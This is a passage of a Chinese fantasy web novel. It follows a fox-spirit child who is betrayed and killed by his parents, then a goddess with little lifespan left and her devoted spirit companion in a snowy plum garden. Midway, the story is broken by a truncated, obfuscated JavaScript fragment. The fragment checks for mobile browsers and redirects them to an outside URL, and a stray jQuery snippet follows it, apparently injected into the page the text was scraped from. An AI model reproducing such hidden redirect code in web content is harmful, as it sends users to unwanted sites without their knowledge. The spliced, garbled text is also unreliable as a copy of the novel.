浓郁的黑气卷覆,这里无天,唯有黑气凝作的沉闷黑幕。周遭晃动着无数黑影,这些黑影皆朝着被围困中央的青白身影扑去。
磅礴的青色灵力宛如利刃轰然斩落,顷刻间便荡尽了前扑后续妄图啃食他骨肉的所有黑影。
雪青攸站在其中,灵力震荡扬起银白长发翻飞,衣袂猎猎作响。
他轻抬眸子,眉眼冷冽,杀意弥漫。
和姐姐前往千草山途中,被骤现的黑缝从中不断涌出的强劲吸引力拽去。
他当然清楚这是谁的手笔,自不会让它得逞。
在彻底被吸进去前,他撕裂空间,将姐姐三人送了进去,他也跌入了自己撕开的裂缝,本该抵达他指定的地方,为何出现在了这陌生之地?
此地笼罩着极具的黑气,早已彰显背后之“人”的身份。
雪青攸青然的眸中,翻滚着滔滔寒流。
他感应不到姐姐所在,心底愈发焦躁,眼底戾气更甚。
空气震颤,一道裂缝徒然而生,他正打算脱离此地,一个黑影猛地冲到他面前。
雪青攸神色未变,那黑影还未触到他一丝一毫,立马就碎成湮尘飘散。从中却逸散出一股不容他抗拒的拽力,不待他有所反应,猛地就将他意识拉入其中。
悠然好闻的花香扑面而来,身穿华贵锦衣的女人将男孩从地上抱起来,动作轻柔得不行,生怕弄痛了他。
女人轻拍他后背:“有没有想爹爹和娘?”
男孩长得温朗无害,生有一双潋滟生艳的眸子,端是看着,便撩人心弦。银白的发间顶着一对绒绒的狐耳,耳尖泛起粉红,身后舒展着九条毛发蓬松的白尾巴。
狐耳微微抖动了下,男孩伸出短短的胳膊环住女人的脖颈,小脑袋轻轻靠在她肩头,语气软糯温润,光是听着便叫人心头一软:“想,想你。”
女人的心瞬间化了,忍不住弯眼笑起来,抬手轻柔地挠了挠他圆润的脸颊:“那,有没有想爹爹?”
男孩没第一时间回答,反而将脑袋埋进女人颈窝,小手紧紧拽着她的衣襟,僵硬吐出两字:“不想。”
他声音闷闷的,像蔫了的草,半点精神劲都没有:“娘,我不喜欢他。”
女人愣了愣,这已经不是他第一次说不喜欢雪天残了。
女人名唤青落,雪天残是她的丈夫,亦是雪青攸的父亲。雪青攸自会开口说话起,从未叫过雪天残一声爹,却一直乖乖喊她娘。
青落心里很是困惑,但毕竟是自己和心爱之人的骨肉,压下心底烦闷和不解,柔声问道:“青攸告诉娘,怎么不喜欢爹爹了?”
雪青攸蹙眉,他也说不上缘由,就是打心底抵触,总觉得雪天残不是好人。
他垂下眼睫,藏起眼底浓浓的难过。娘肯定不会相信他,明明娘那么喜欢他,为什么不愿信他一回?
“不知道。”雪青攸语气硬邦邦,倔强道,“我就是不喜欢他。”
怕语气太过狠硬让青落伤心,最后一句话特意放柔了语调,听着软绵绵的,让人一脚踩在棉花上,气没处撒。
“你这孩子!”青落心底窝火,抬手想打他,却僵在半途,迟迟未落下。
雪青攸眼底闪过一丝阴霾,抬眸直直瞪着那只纤细、将落未落的手臂。
两人就这般大眼瞪着小眼,僵持不动,谁也不肯让谁。
雪青攸瞪着瞪着,心底愈发失望,伤心喷涌而出,率先服软,小小的脑袋垂里下去:“对不起娘。”
青落见他软下态度,将手撤下,火气仍未消:“你不是对不起我,而是你爹。”
雪青攸心尖猛地一颤:“好,我给他道歉。”
他伸出手小心翼翼扯住青落袖角,语气近乎恳求:“娘你能不能别生我的气?是我不好……”
他话到后面越来越弱:“我不该惹你生气。”
“落落?”一道温朗的嗓音自房外传来,打断了两人剑拔弩张的对峙。
青落漂亮的眸子霎时一亮,将雪青攸往地上一放,动作毫不犹豫,立刻扑进来人怀里,方才强势可怕的气场散作烟尘,寻不见半分踪迹,声音娇媚诱人:“夫君。”
雪天残一袭白衣,温柔俊朗,抬起修长的手轻抚过女人的面庞,温声问道:“方才闻见些许争吵的响动,怎么了?”
青落依偎在他怀里,并不想让他操心这些琐碎之事,毫不在意道:“小事,夫君不用过于担心。”
“好。”雪天残柔声道,“我家夫人最让我放心了。”
他伸手搂住她盈盈一握的腰肢,低头在她眉间落下一个亲吻。
青落瞬间笑眼弯弯,搭在他胸口的手轻轻捶了一下,颇有撒娇的意味,羞声道:“哎呀,真是的。”
话落,青落踮起脚尖,一个带着香气的吻印在他唇角:“回你的。”
金灿灿的阳光洒落在他们身上,看上去宛如一对神仙眷侣。
而这副其乐融融的温馨画面,却让雪青攸直犯恶心,眼底戾气越积越汹涌。让他感到恶心的是搂着娘的雪天残,一想到自己身上流着他的血,就无比嫌弃自己,想拉着雪天残一起死去。
可娘那么爱他,若是雪天残死了,娘一定会悲痛欲绝,他舍不得让娘难过。
他现在没有能力,什么都做不了,也改变不了什么,无力从深处窜上来,牢牢拽住了他,雪青攸垂下头,眼底的怨恨被落寞取代。
他什么都改变不了。
雪天残搂着青落,柔声细语地说着哄她的话,在一个间隙,悄然抬眼扫向垂着头、兀自低落的雪青攸,眼底闪过憎恶与不耐。
往后日子,雪天残和青落仍旧如漆似胶,但对雪青攸来说却是折磨,他只想快快长大,想办法带着娘心甘情愿离开雪天残身边。
一切变故发生在雪青攸年满二百岁那年。
除物灵器妖天生自带觉醒能力外,器妖都是二百岁觉醒特殊能力,灵力也会从无色变为有色,没觉醒特殊能力,便为普通器妖。
雪青攸和青落是玄灵大陆仅剩的两只九尾狐。
九尾狐向来稀有,几百年前遭遇天灾,全族覆灭,青落是她父母舍弃性命,才侥幸活了下来。
因九尾狐一族稀世罕见,其族一到两百岁,皆会觉醒极为强悍恐怕的特殊能力。
然而,雪青攸没觉醒任何特殊能力,只是一只再普通不过的普通器妖,连他珍稀的九尾狐身份都低到尘埃里。
那个漫天飘茫的雪天,雪青攸望见雪天残眼底不加掩饰的厌恶,而他最在乎的娘也是别无二致的眼神。
茫茫白雪飘零,山巅寒风呼啸刺骨。
雪天残居高临下地蔑视着他,眼底尽是嫌恶衔恨,口吐恶言:“真是没用的东西,没有价值的东西不配留在世上。”
他手中幻化出一柄红色长剑,在皑皑落雪的天地间格外醒目,雪青攸认得这柄剑。
那是雪天残带着他娘去危机四伏的秘境里搜刮来的宝剑。
血红长剑在雪天残手中泛着寒凉的光泽,他持剑毫不犹豫斩向雪青攸脖颈。
雪青攸被他的威压死死钉在原地动弹不得,只能任由他的剑斩落,了却他的生命。
在剑锋仅离一寸的时候,一只素白纤瘦的手伸过来,猛地抓住雪天残的手臂,制止了他的动作。
雪天残最烦他杀人之时,有人阻拦他,满含狠戾的眸子横扫过去。
青落从未见过他用这种凶狠的眼神看过自己,一时被吓到,控制不住朝后退了两步,神色恍惚,抓在他腕间的劲松懈。
雪天残像是反应过来自己做错了事,立刻换上平常温润的态度,收回剑,将愣住的青落拉进怀里,放软声音道:“对不起,吓到你了,是我的错。”
熟悉的气息扑鼻,青落从恍然中回神,愣愣地去看男人。
雪天残眉目温情,语气温软,哪有方才半分的凶残。
雪天残握住她的手,跟她五指相扣,诚恳道歉:“对不起落落,下次不会有这种情况了。别怕,我不是有意凶你的。”
他柔声问道:“落落你肯定不会无故拦我,是有什么事吗?”
青落见男人态度诚恳,又见他眼底的疼惜不假,知他不是故意的。
青落收了震惊,缓了缓神,刚准备开口,一道微弱的声音却从不远处传来。
“娘……”
雪青攸被雪天残身上散发的强威死死压着,连漫天的白雪都触不到他,就被雪天残的威压碎成湮尘。
他瘦削单薄的身躯立在凛冽寒风中,被吹得摇摇欲坠,却倔强地望着青落,眼尾猩红,口中溢出鲜血,艰难吐字:“别信……他,他在……骗你。”
雪天残蹙眉,刚要开口斥他,一道嘹亮明晰的声音比他先一步传来,语含怒气:“闭嘴!”
寒风猎猎,青落冷眼看着雪青攸:“我没有你这样的儿子。”
她离开雪天残的怀抱,一步步朝着雪青攸走去,边走边道:“夫君就由我来断了他的尾,免得他的血沾了你的手。”
她眉眼不见往日温存,只余彻骨寒冷,一字一句道:“我嫌脏。”
雪青攸瞳孔猛地一缩,只觉此刻刺骨的寒风,也比不上母亲亲口说嫌他脏,来得痛心砭骨。
直到脖颈袭来钻心的疼痛,身体一瞬腾空,失重感瞬间裹袭而来。
雪青攸这才惊觉,他已被自己最在乎的亲人抹颈,被她亲手推下雪巅,烈风在耳边狂啸,银发乱扬。
他最后一眼,望见的是青落立在雪巅边缘,冷然绝情的眸子。
砰的一声闷响,雪青攸猛地砸进厚雪堆里,脖颈处血流如注,殷红的血珠溅满了他惨白的脸,霎时染红一片素净的雪地,冰冷的雪水浸入薄薄的衣服。
好冷,好痛……他马上就要死了。
死后的世界会是一片寒凉吗?
雪青攸痛到全身动弹不得,痛到失去知觉,意识昏沉,与青落温馨相处的日常不断从眼前划过,又从那绝情一剑中尽数碎裂。
他到底做错了什么?
恐怕错就错在,在那个假仁假义的男人眼里,他是个没有价值的东西,娘也一块觉得他没用。
没有价值的东西不配留在世上,所以娘亲自动手杀了他。
他眼皮愈发沉重,世界糊作一团,一片猩红。
娘到底在不在乎他?在乎的话,为何对他如此绝情?
大雪不歇,很快便将一地血红掩埋成素白。
白雪铺了厚厚一地,脚踩在上面,发出嘎吱嘎吱的闷响。
庭院覆满皑皑白雪,满院红梅迎寒绽放,花香悠悠。
漫随裹紧裘衣,从满院红梅中穿过,在雪地里印出一个个浅浅的脚印。
然而这些脚印后边,皆被一只比她大上许多的脚印覆盖。
一位俊朗少年亦步亦趋地跟在她后头,他只着了件单薄的劲装,金灿的头发用蓝色的发带高高束起,头上有对毛茸茸的耳朵,与他的头发同色。
他怀中抱着坛酒,雪落满他肩头,却丝毫不觉,低着头,专注地踩着漫随留下的脚印,随她一道穿过梅花林。
就在他踩得忘乎其神之时,额头冷不丁撞在柔软、略显冰凉的料子上。
漫随不知何时停了下来,不过未转过身去,声音辨不出喜怒,只道:“忘无忌,专心看路,我可不是你的路。”
闻言,忘无忌轻笑一声,跨出一大步,跟她并排,指了指后边,示意漫随看去。
漫随虽不明所以,却还是照做。
忘无忌指着雪里踩出的脚印,说道:“你看,你在雪地里踩出了脚印,那便是路。”
漫随愣了愣,实在想不明白这跟她说的话之间有何关联。
她皱起眉头,抬手指着雪地上的那排交叠在一起的脚印。在没被白雪盖满之前,本就有一条小径横穿梅林。
她一本正经地纠正道:“可这里原本就有路,只是被雪覆盖了,跟我在上面踩出脚印没有任何关系。”
“你也说了被雪覆盖了,那便算是没路了。”忘无忌丝毫不给漫随辩驳的机会,将路堵得死死的,“你在上面走过,留下痕迹,便是你走出的路。我跟着你走出的路走,没有任何问题。”
漫随:……
她缓缓吐出一口热气,搂紧裘衣,不再理会他,举步自顾自地往前走去。
忘无忌知她难得跟他辩论,怎么不算另一种妥协?
他嘴角一勾,继续埋着头,专心踩着她留下的痕迹前行。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236316|193757||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>白雪簌簌飘落,满庭红梅犹自幽香。
“你还记得我俩初见吗?”
清朗的声音从后头传来。
漫随步履不停,扬首看向飘雪的天际,回道:“记得。”
她顿了顿,续又问道:“忽然提这个,是有什么事?”
“没什么事。”忘无忌伸手接住一片落雪,雪花因蕴有灵力,没有即刻融化,静静躺在他掌心中,细碎清透。
他呼出一口雾气:“只是忽然觉得,日子过得真快,一晃就到了冬天,我们初见时还是春天。”
不知想到什么,忘无忌轻笑一声,声音里却捎上不易察觉的涩然:“要不是我缠着你,你理都不理我。”
漫随闻言,眼波微微一动,神色带着些许恍惚,将一直憋在心里的疑惑抛出:“你为何要缠着我?”
“这个啊……”忘无忌半点不意外,似乎早就料到她会有这么一问,“说了,你也不懂。”
漫随根本不买账:“喧宾夺主,你连缘由都不肯说,又怎么知道我不懂?”
窥得她语气中的几分执拗,忘无忌忍不住低笑一声,直接大跨一步,跟她并排,侧身将一支精巧秀美的发簪斜插进她发鬓。一整套动作行云流水,未有丝毫迟滞。
发簪簪头是朵青色的花,五片花瓣旋转展开。
对于忘无忌总爱突然往她头上插些小物件的行径,漫随早已见怪不怪。二人常年在外游历,只要忘无忌瞧见好看的花,总会随手摘下,簪在她发间。
确定不会掉落,忘无忌收回手,跟她并肩踩雪走着:“你说,木头什么时候会开花?”
漫随脑中想着事,想也不想便答:“自是要看那种品类的。”
说完才反应过来,他说的不是花枝,而是木头,不禁疑惑到,木头会开花?
不过,也有可能他见过开花的木头,索性便不再多问。
但她总觉得他话里有话,这个木头可能不是普通的木头。
谈话间,两人已行至小径尽头那座古雅的亭中。
甫一踏入亭中,两人肩头覆着的白雪便自行消散。忘无忌先一步入内,在石桌边的石凳上坐了下来。
漫随刚落座,醇烈的酒香便逸散开来。
忘无忌将方才一路抱着的酒解封,倒入杯盏,推到漫随跟前。
“这酒烈,你头一次喝,先来一小杯试试?”
漫随未有意见,点了点头,拿起酒,往嘴里一倒。
烈酒入喉,所过之处,皆泛起一阵火辣辣的疼,脸似乎也滚烫起来,脑袋昏沉,她下意识蹙了蹙眉,正要开口询问,头却一歪,扒在桌边醉倒了。
忘无忌未料到她竟是一杯倒,懊恼浮上眉梢,他就不应该提出让她喝酒驱寒的。
漫随虽为神,但她却格外怕冷,即使有神力傍身,仍旧抵抗不了丁点寒意。
不是没试过别的御寒法子,可惜都起不了效用。
可能是……
忘无忌褪去平日里没心没肺的样子,眼底藏着的痛喷涌而出。
她寿元所剩无几。
他金灿的眸子失了神采,深处沉着挥之不去、安静的悲凉。
他这一生始终没被人坚定选择过,普通器妖的身份,使得他以往的契主寻得更好的器妖后,转头便将他毫不犹豫丢弃。
他原想任由灵力散尽,成为凡人老去,却……
“如果你能接受,我们便结契。”
那是个春花灿烂的春日,漫随对着前半日救下、缠了自己后半日的少年说道。
阳光从枝叶繁茂的缝间泻下,斑驳碎光映在翠树下的两人身上。
忘无忌见漫随松口,笑意抑制不住地漫上眉眼,声音捎上雀跃:“你说。”
漫随的目光落在忘无忌欢喜的面容上,眼底未起丝毫波澜,反而愈发死寂,宛如一潭沉寂了不知多久的死水,连阳光都照不进去:“我寿元所剩无几,只有不到一百年。”
生命会在何时行至尽头,她也不甚清楚。
“如果你能接受,我们便结契。”
忘无忌的笑僵在了脸上,声音带上一丝不易察觉的颤抖:“为……”
原来他这般能说会道的人,没想到也有说话结巴的时候。
他犹自缓了缓神,再开口时,已然恢复往常:“为什么?”
漫随似乎不想过多解释,只道:“若你跟我结契,便能明白了。”
是啊,他现在还有什么不明白的。
契主和器妖结契生成连接,彼此之间的连接,早已让他清晰感受到她生命力的流逝。
为了复仇,她早将一切献给了天地。
漫随以自身性命为祭,换来了天地赐予的强大力量。期限一到,她便会立刻殒命,无法解除、更无法逆转,一个注定的死局。
他如今站在这,不就早已接受了她必死的结局吗?
既然如此,又为何要伤心?你不是早就接受了吗?
寒风簌簌,冷,彻骨的冷。
忘无忌起身,走到漫随旁侧,手撑桌沿,半俯下身去,一个珍重的轻吻落在她发间,幽幽花香混着酒香传来。
喝烈酒能驱寒。
他只不过是随口一提,漫随听了,便说试一试,反正御寒的法子该用的都用过了,试试也无妨。
忘无忌抬起眸子,金灿的眼底压着沉痛,指腹轻抚过她泛着薄红的脸颊,指下温度滚烫灼人,明明该是如此鲜活的人,生命每时每刻都在悄然流逝。
他伸手将她拦腰抱起,动作轻柔,生怕弄疼了她,调了个让她舒服的姿势,让她稳稳靠在自己胸口,随即御起光罩抵挡外界风雪。虽然这光罩并无用处,她仍旧能感到冷。
但这般,让他生出能为她挡去所有寒冷的错觉,给她带去一丝微薄的温暖。
他眸色无波,迈出亭子,往她房间的方向走去,在皑皑雪地留下一连串脚印。
他是个很贪婪的人,会贪婪地记下她所有的样子、声音、温度,他不想她离开,却又无力抵抗。
明明还拥有,却已经开始失去。
风雪很大,很快就掩埋了雪地上踩出的所有脚印,仿若无人涉足过此地,不见任何踪影。
徒留寂寥,苍茫。